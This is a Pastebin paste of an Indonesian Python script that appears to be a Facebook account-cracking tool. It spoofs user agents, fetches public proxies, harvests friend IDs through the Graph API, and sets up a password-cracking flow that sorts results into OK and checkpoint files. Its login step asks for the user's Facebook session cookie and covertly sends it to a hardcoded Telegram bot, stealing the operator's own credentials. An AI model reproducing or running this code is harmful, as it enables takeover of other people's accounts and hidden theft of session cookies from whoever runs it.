Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ## LO GANTENG :V
- ## JEECK COOL BOY
- import requests,bs4,json,os,sys,random,datetime,time,re
- import urllib3,rich,base64
- from rich.tree import Tree
- from rich import print as cetak
- from rich.table import Table as me
- from rich.console import Console as sol
- from bs4 import BeautifulSoup as sop
- from rich.progress import Progress,BarColumn,TextColumn,TimeElapsedColumn
- from rich.progress import SpinnerColumn
- from concurrent.futures import ThreadPoolExecutor as tred
- from rich.panel import Panel as nel
- from rich import print as cetak
- from rich.columns import Columns as col
- from rich import print as prints
- from rich import pretty
- from rich.text import Text as tekz
- ###----------[ WARNA PRINT RICH ]---------- ###
- M2 = "[#FF0000]" # MERAH
- H2 = "[#00FF00]" # HIJAU
- K2 = "[#FFFF00]" # KUNING
- B2 = "[#00C8FF]" # BIRU
- P2 = "[#FFFFFF]" # PUTIH
- try:
- file_color = open("data/theme_color","r").read()
- color_text = file_color.split("|")[0]
- color_panel = file_color.split("|")[1]
- except:
- color_text = "[#00C8FF]"
- colorbapa = random.choice([H2,K2,M2,B2,P2])
- color_panel = "#00C8FF"
- pretty.install()
- CON=sol()
- ugen2=[]
- ugen=[]
- proxxy=[]
- cokbrut=[]
- ses=requests.Session()
- princp=[]
- for xd in range(10000):
- a='Mozilla/5.0 (Symbian/3; Series60/5.2'
- b=random.randrange(1, 9)
- c=random.randrange(1, 9)
- d='NokiaN8-00/012.002;'
- e=random.randrange(100, 9999)
- f='Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/'
- g=random.randrange(1, 9)
- h=random.randrange(1, 4)
- i=random.randrange(1, 4)
- j=random.randrange(1, 4)
- k='7.3.0 Mobile Safari/533.4 3gpp-gba'
- uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
- ugen2.append(uaku)
- ###----------[ User Agent Linux ]---------- ###
- aa='Mozilla/5.0 (X11;'
- b=random.choice(['6','7','8','9','10','11','12'])
- c='Linux x86_64)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Safari/537.36'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Windows NT 10.0; '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='Win64; x64)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 '
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Safari/537.36'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Windows NT 10.0; '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='Win32; x86) '
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 '
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Safari/537.36'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Windows NT 10.0; '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='WOW64) '
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 '
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Safari/537.36'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Linux; Android 6.0.1;'
- b=random.choice(['6','7','8','9','10','11','12'])
- c='Redmi 4 Build/MMB29M; wv)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36 [FB_IAB/MESSENGER;FBAV/114.0.0.21.71;]'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Windows NT 10.0; '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='Win64; x64) '
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 '
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Safari/537.36 Edge/17.17134'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/4.0 (compatible; MSIE 9.0; '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='NET CLR 3.0.04506.648; .'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='NET CLR 3.5.21022)'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Windows NT 10.0; '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='WOW64) '
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 '
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Safari/537.36 Vivaldi/5.6.2867.58'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa=' Mozilla/5.0 (Windows NT 10.0; '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='Win64; x64) '
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 '
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Vivaldi/5.6.2867.58'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Linux; Android '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='SM-G530T1 Build/LMY47X; wv)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/332.0.0.23.111;]'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Linux; U; Android '
- b=random.choice(['6','7','8','9','10','11','12'])
- c='zh-cn; SM-G8750 Build/R16NW)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/533.1 (KHTML, like Gecko) '
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/533.1'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Linux; Android'
- b=random.choice(['6','7','8','9','10','11','12'])
- c='7.0.0;'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ '
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- for apa in range(10000):
- rr = random.randint; rc = random.choice
- sui = str(rc(["Remix Mini Build/LMY47I","OPPO R9s Build/MMB29M","Infinix X680 Build/QP1A.190711.020","Redmi Note 9 Pro MIUI/V12.0.2.0.QJZEUSF"]))
- andro = str(rc(["6.0.1","5.1","10"]))
- w6 = f"Dalvik/2.1.0 (Linux; U; Android {andro}; {sui})"
- ahhh = random.choice([w6])
- ugen.append(ahhh)
- for apa in range(10000):
- versi_android = random.randint(4,13)
- versi_chrome = str(random.randint(300,325))+".74.0.3729.136."+str(random.randint(1,8))+"."+str(random.randint(50,250))
- versi_app = random.randint(510000000,699999999)
- ugent = f"Mozilla/5.0 (Linux; Android 9 {versi_android}; es-mx; ZTE Blade A3 2020 Bulid/PPR1.180610.011; wv) AppleWebkit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{versi_chrome}Mobile Safari/537.36 MMS/{versi_app}ZTE-Android-MMS-V2.0"
- gnt = random.choice([ugent])
- ugen.append(gnt)
- ###----------[ Str T12 ]---------- ###
- for apa in range(10000):
- versi_android = random.randint(4,5)
- versi_chrome = str(random.randint(300,325))+".251.0.0.31.111."+str(random.randint(1,8))+"."+str(random.randint(50,250))
- versi_app = random.randint(510000000,599999999)
- ugent = f"Dalvik/1.6.0 (Linux; U; Android {versi_android}; SM-G3518 Build/JLS36C) [FBAN/FB4A;FBAV/{versi_chrome};FBPN/com.facebook.katana;FBLC/en_US;FBBV/{versi_app};FBCR/T-Mobile;FBMF/samsung;FBBD/samsung;FBDV/SM-G3518;FBSV/4.4.2{str(random.randint(4,10))};FBCA/x86:armeabi-v7a;FBDM/"+"{density=1.5,width=720,height=1244};FB_FW/1;FBRV/190301973;]"
- ngent = random.choice([ugent])
- ugen.append(ngent)
- for apa in range(10000):
- versi_android = random.randint(4,13)
- versi_chrome = str(random.randint(300,325))+".43.0.0.29.147."+str(random.randint(1,8))+"."+str(random.randint(50,250))
- versi_app = random.randint(510000000,599999999)
- ugent = f"Dalvik/2.1.0 (Linux; U; Android {versi_android}; F1 Build/LMY47V) [FBAN/FB4A;FBAV/{versi_chrome};FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{versi_app};FBCR/Tele2 LT;FBMF/Oppo;FBBD/Oppo;FBDV/F1;FBSV/{str(random.randint(4,10))};FBCA/armeabi-v7a:armeabi;FBDM/"+"{density=3.0,width=720,height=1280};FB_FW/1;]"
- ngnt = random.choice([ugent])
- ugen.append(ngnt)
- try:
- url_proxy = random.choice([
- "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt",
- ])
- except:pass
- #------------------[ PROXIES ]-------------------#
- try:
- url = requests.get(f"{url_proxy}").text
- for ikfar in url.splitlines():proxxy.append(ikfar)
- except requests.exceptions.ConnectionError:
- prints(nel(f"{P2}Anda Tidak Terhubung Ke Internet, Silahkan Periksa Koneksi Internet Anda",width=80,padding=(0,2),style=f"{color_panel}"));exit()
- id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
- cokbrut=[]
- pwpluss,pwnya=[],[]
- P = '\x1b[1;97m'
- M = '\x1b[1;91m'
- H = '\x1b[1;92m'
- K = '\x1b[1;93m'
- B = '\x1b[1;94m'
- U = '\x1b[1;95m'
- O = '\x1b[1;96m'
- N = '\x1b[0m'
- Z = "\033[1;30m"
- sir = '\033[41m\x1b[1;97m'
- x = '\33[m' # DEFAULT
- m = '\x1b[1;91m' #RED +
- k = '\033[93m' # KUNING +
- h = '\x1b[1;92m' # HIJAU +
- hh = '\033[32m' # HIJAU -
- u = '\033[95m' # UNGU
- kk = '\033[33m' # KUNING -
- b = '\33[1;96m' # BIRU -
- p = '\x1b[0;34m' # BIRU +
- asu = random.choice([m,k,h,u,b])
- dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
- dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
- tgl = datetime.datetime.now().day
- bln = dic[(str(datetime.datetime.now().month))]
- thn = datetime.datetime.now().year
- okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- def renv_xy(u):
- for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
- def jalan(keliling):
- for mau in keliling + '\n':
- sys.stdout.write(mau)
- sys.stdout.flush();sleep(0.03)
- def clear():
- os.system('clear')
- def back():
- login()
- def none():
- clear()
- prints(nel(f"""\t {color_text}
- {B2}__ __ __ __ ______ ______ ______
- {B2}/\ "-./ \ /\ "-./ \ /\ == \ /\ ___\ /\ ___\
- {B2}\ \ \-./\ \ \ \ \-./\ \ \ \ __< \ \ __\ \ \ __\
- {H2}\ \_\ \ \_\ \ \_\ \ \_\ \ \_____\ \ \_\ \ \_\
- {H2}\/_/ \/_/ \/_/ \/_/ \/_____/ \/_/ \/_/
- Made By {M2}Indonesia {P2}Coder""",width=80,style=f"{color_panel}"))
- def info():
- prints(f"""{B2}╭─────────────────────╮{B2}╭───────────────╮
- {B2}│ {P2}Author : Meledak XD{B2} │{B2}│ {P2}Version : 3.1{B2} │
- {B2}╰─────────────────────╯{B2}╰───────────────╯""")
- def banner():
- clear()
- prints(nel(f"""\t {color_text}
- __ __ __ __ ______ ______ ______
- /\ "-./ \ /\ "-./ \ /\ == \ /\ ___\ /\ ___\
- \ \ \-./\ \ \ \ \-./\ \ \ \ __< \ \ __\ \ \ __\
- \ \_\ \ \_\ \ \_\ \ \_\ \ \_____\ \ \_\ \ \_\
- \/_/ \/_/ \/_/ \/_/ \/_____/ \/_/ \/_/
- Made By {M2}Indonesia {P2}Coder""",width=80,style=f"{color_panel}"))
- def login():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- tokenku.append(token)
- try:
- sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
- sy2 = json.loads(sy.text)['name']
- sy3 = json.loads(sy.text)['id']
- menu(sy2,sy3)
- except KeyError:
- login_lagi334()
- except requests.exceptions.ConnectionError:
- print('╰─ Internet Anda Sedang Sibuk/Tidak Ada')
- exit()
- except IOError:
- login_lagi334()
- def login_lagi334():
- try:
- os.system('clear')
- banner()
- info()
- ses = requests.Session()
- cookie = input('\n╰─ Masukan Cookie : ')
- requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={cookie} ").json()
- cookies = {'cookie':cookie}
- url = 'https://www.facebook.com/adsmanager/manage/campaigns'
- req = ses.get(url,cookies=cookies)
- set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
- nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
- roq = ses.get(nek,cookies=cookies)
- tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
- tokenw = open(".token.txt", "w").write(tok)
- cokiew = open(".cok.txt", "w").write(cookie)
- print('\n╰─ Login Berhasil bre ')
- exit()
- except Exception as e:
- os.system("rm -f .token.txt")
- os.system("rm -f .cok.txt")
- print(f'\033[0m╰─ Login Gagal Atau Token/Cookie Expired')
- exit()
- def menu(my_name,my_id):
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- print('\033[0m╰─ Expired Cookies ')
- time.sleep(5)
- login_lagi334()
- os.system('clear')
- banner()
- print('')
- try:cek_data = requests.get("http://ip-api.com/json/").json()
- except:cek_data = {'-'}
- try:MeledakXd = cek_data["isp"]
- except:MeledakXd = {'-'}
- try:MeledakSu = cek_data["city"]
- except:MeledakSu = {'-'}
- info()
- prints(nel(f'{P2}Login As %s %s{P2}'%((my_id),MeledakSu),width=80,padding=(0,7),style=f"{color_panel}"))
- prints(nel(f"""{P2}[{color_text}01{P2}]. Crack Public [{color_text}04{P2}]. Cek Hasil
- [{color_text}02{P2}]. Crack Public/Massal [{color_text}05{P2}]. Cek Tap Yes
- [{color_text}03{P2}]. Crack File [{color_text}00{P2}]. Exit\n[{color_text}06{P2}]. Scrap Set Post [{color_text}L{P2}]. Lapor bug """,width=80,padding=(0,7),style=f"{color_panel}"))
- Meledak = input(' Chouse : ')
- print('')
- if Meledak in ['1']:
- dump_publik()
- elif Meledak in ['2']:
- dump_massal()
- elif Meledak in ['3']:
- crack_file()
- elif Meledak in ['4']:
- result()
- elif Meledak in ['5']:
- file_cp()
- elif Meledak in ['6']:
- siu()
- elif Meledak in ['L']:
- os.system("xdg-open https://wa.me/+62895323385590?text=Assalamualaikum+bang+Meledak,+Lapor+sc+ada+bug +bang")
- elif Meledak in ['0']:
- os.system('rm -rf .token.txt')
- os.system('rm -rf .cok.txt')
- print('╰─ Successfully Logout+Delete Cookies ')
- exit()
- else:
- print('╰─ input correctly ')
- back()
- def siu():
- start()
- get_data_web()
- akhir()
- def error():
- print(f'╰─ Sorry, this feature is still being fixed {x}')
- time.sleep(4)
- back()
- def ganti_tema():
- prints(nel(f""" Maaf Tools Ini Sedang Di Perbaiki """,width=80,padding=(0,7),style=f"{color_panel}"))
- sleep(2)
- back()
- def dump_publik():
- try:
- token = open('.token.txt','r').read()
- kukis = open('.cok.txt','r').read()
- except IOError:
- exit()
- prints(nel(f'{K2}Ketik {P2}"\033[32mMe\033[0m" {K2}Jika Ingin Crack Teman Sendiri {P2}',width=90,padding=(0,9),style=f"{color_panel}"))
- pil = input(x+m+''+x+' Username/Id : ')
- try:
- koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
- for pi in koh2['friends']['data']:
- try:id.append(pi['id']+'|'+pi['name'])
- except:continue
- print('')
- print(x+m+''+x+' Total Id Collected \033[32m'+str(len(id)))
- setting()
- except requests.exceptions.ConnectionError:
- print('╰─ Internetmu Gak Ada Bodoh')
- exit()
- except (KeyError,IOError):
- print('╰─ Pertemanan Tidak Publick Cookie And Token Anda Busuk')
- exit()
- def dump_massal():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- exit()
- try:
- jum = int(input('╰─ input target amount ? : '))
- except ValueError:
- print('╰─ wrong input ')
- exit()
- if jum<1 or jum>100:
- print('╰─ Failed Dump Id maybe id is not public ')
- exit()
- ses=requests.Session()
- yz = 0
- for met in range(jum):
- yz+=1
- kl = input('╰─ Enter the Id '+str(yz)+' : ')
- uid.append(kl)
- for userr in uid:
- try:
- col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
- for mi in col['friends']['data']:
- try:
- iso = (mi['id']+'|'+mi['name'])
- if iso in id:pass
- else:id.append(iso)
- except:continue
- except (KeyError,IOError):
- pass
- except requests.exceptions.ConnectionError:
- print('╰─ unstable signal ')
- exit()
- try:
- print('')
- print(f' Total Id Collected {h}'+str(len(id)))
- setting()
- except requests.exceptions.ConnectionError:
- print(f'{x}')
- print('╰─ unstable signal ')
- back()
- except (KeyError,IOError):
- print(f'╰─{k} Friendship Not Public {x}')
- time.sleep(3)
- back()
- def result():
- print('╰─ 1. Hasil CP Anda ')
- print('╰─ 2. Hasil OK Anda ')
- print('╰─ 0. Kembali ')
- kz = input('\n╰─ Chouse : ')
- print('')
- if kz in ['1','01']:
- try:vin = os.listdir('CP')
- except FileNotFoundError:
- print('╰─ File Tidak Di Temukan ')
- time.sleep(3)
- back()
- if len(vin)==0:
- print('╰─ Anda Tidak Memiliki Hasil CP ')
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('CP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<10:
- nom = ''+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print(''+nom+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
- else:
- lol.update({str(cih):str(isi)})
- print(''+str(cih)+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
- geeh = input('\n╰─ Chouse : ')
- print('')
- try:geh = lol[geeh]
- except KeyError:
- print('╰─ Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('CP/'+geh,'r').read().splitlines()
- except:
- print('╰─ File Tidak Di Temukan ')
- time.sleep(2)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- print(f'╰─CP\033[33m {cpkuni[0]}|{cpkuni[1]}\033[0m')
- nocp +=1
- input('\n╰─ Back Enter ')
- back()
- elif kz in ['2','02']:
- try:vin = os.listdir('OK')
- except FileNotFoundError:
- print('╰─ File Tidak Di Temukan ')
- time.sleep(2)
- back()
- if len(vin)==0:
- print('╰─ Anda Tidak Mempunyai File OK ')
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('OK/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:
- nom = ''+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print(''+nom+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
- else:
- lol.update({str(cih):str(isi)})
- print(''+str(cih)+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
- geeh = input('\n╰─ Chouse : ')
- try:geh = lol[geeh]
- except KeyError:
- print('╰─ Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('OK/'+geh,'r').read().splitlines()
- except:
- print('╰─ File Tidak Di Temukan ')
- time.sleep(2)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- print(f'\n╰─OK\033[32m {cpkuni[0]}|{cpkuni[1]}|\033[32m{cpkuni[2]}\033[0m')
- nocp +=1
- input('\n╰─ Back Enter ')
- back()
- elif kz in ['0','00']:
- back()
- else:
- print('╰─ Pilih Yang Bener Kontol ')
- exit()
- def crack_file():
- try:vin = os.listdir('DUMP')
- except FileNotFoundError:
- print('╰─ File Tidak Ditemukan ')
- time.sleep(2)
- back()
- if len(vin)==0:
- print('╰─ Kamu Tidak Memiliki File Dump ')
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('DUMP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:
- nom = ''+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print(f' %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- print('╰─ %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
- geeh = input('\n╰─ Chouse : ')
- print('')
- try:geh = lol[geeh]
- except KeyError:
- print(f'╰─{k} Pilih Yang Bener Kontol {x}')
- time.sleep(3)
- back()
- try:lin = open('DUMP/'+geh,'r').read().splitlines()
- except:
- print('╰─ File Tidak Ditemukan, Coba Lagi Nanti ')
- time.sleep(2)
- back()
- for xid in lin:
- id.append(xid)
- setting()
- def setting():
- print('')
- cetak(nel(f"Pilihan Crack Bisa Menulis Kan {M2}old {P2}/{H2} new {P2} / {K2} random {P2} Atau juga {M2}1 {P2}/{H2} 2 {P2}/ {K2}3{P2}",width=80,padding=(0,7),style=f"{color_panel}"))
- prints(f"""{B2}╭─────────────────────╮ {B2}╭──────────────────╮
- {B2}│ {P2}Crack Old {B2} │{B2} │ {P2}Crack New{B2} │
- {B2}╰─────────────────────╯{B2} ╰──────────────────╯""")
- prints(f"""{B2}╭─────────────────────╮
- {B2}│ {P2}Crack Random {B2} │
- {B2}╰─────────────────────╯""")
- hu = input('╰─ Chouse : ')
- if hu in ['1','old']:
- for tua in sorted(id):
- id2.append(tua)
- elif hu in ['2','new']:
- muda=[]
- for bacot in sorted(id):
- muda.append(bacot)
- bcm=len(muda)
- bcmi=(bcm-1)
- for xmud in range(bcm):
- id2.append(muda[bcmi])
- bcmi -=1
